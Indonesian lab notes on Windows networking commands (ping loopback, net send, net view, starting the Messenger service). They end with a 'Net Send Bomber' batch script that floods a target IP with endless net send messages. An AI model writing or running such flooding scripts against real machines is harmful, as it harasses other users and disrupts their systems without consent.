Summary

Praktikum :

Test Konfigurasi Jaringan Ping 127.0.0.1 , atau ping loopback contoh

C:\Ping 127.0.0.1 Reply from 127.0.0.1 : bytes = 32 time <1 ms

TTL =128Reply from 127.0.0.1 : bytes = 32 time <1 ms

TTL =128Atau C:\Ping loopback

Reply from 127.0.0.1 : bytes = 32 time <1 ms TTL =128

Reply from 127.0.0.1 : bytes = 32 time <1 ms TTL =128

Check Configuration

Net Send

Net send Digunakan untuk mengirimkan

pesan ke computer lain , contohnya adalah C:\net send [namakomputer/alamat

ip address] [ pesan anda]Contoh :Mengirimkan pesan ke alamat 192.168.0.1 , baris perintahnya adalah :

C:\ net send 192.168.0.1 alo ini saya bagaimana kabarmu

Net sendMasih seperti baris diatas kali ini adalah

mengirimkan ke semua computer yang terkoneksi . baris perintahnya adalah :

C:\net send * semuanya pa kabar nie Net View

Digunakan untuk melihat list ( daftar ) jaringan yang terhubung dengan computer yang anda gunakan , computer yang terhubung adalah masih dalam satu workgroup (kelompok ) dengan computer yang anda gunakan .

Net StartJika net send tidak aktif, maka

menggunakan perintah “c:\net start messenger” untuk menonaktifkannya dapat menggunkaan perintah “c:\net stop messenger”.

Kode Program Net Send Bomber

Buka Notepad dan tulis kode program dibawah Ini @echo IP target : %1@echo Net Send Bomber siap melakukan serangan ...@pause:serang@net send %1 Hooiiiii %1 i was here !!!!!!@goto serangSimpan dengan nama “serang.bat”Untuk menjalankan “c:\serang 192.168.1.1 test”Hasilnya looping netsend yang tiada henti
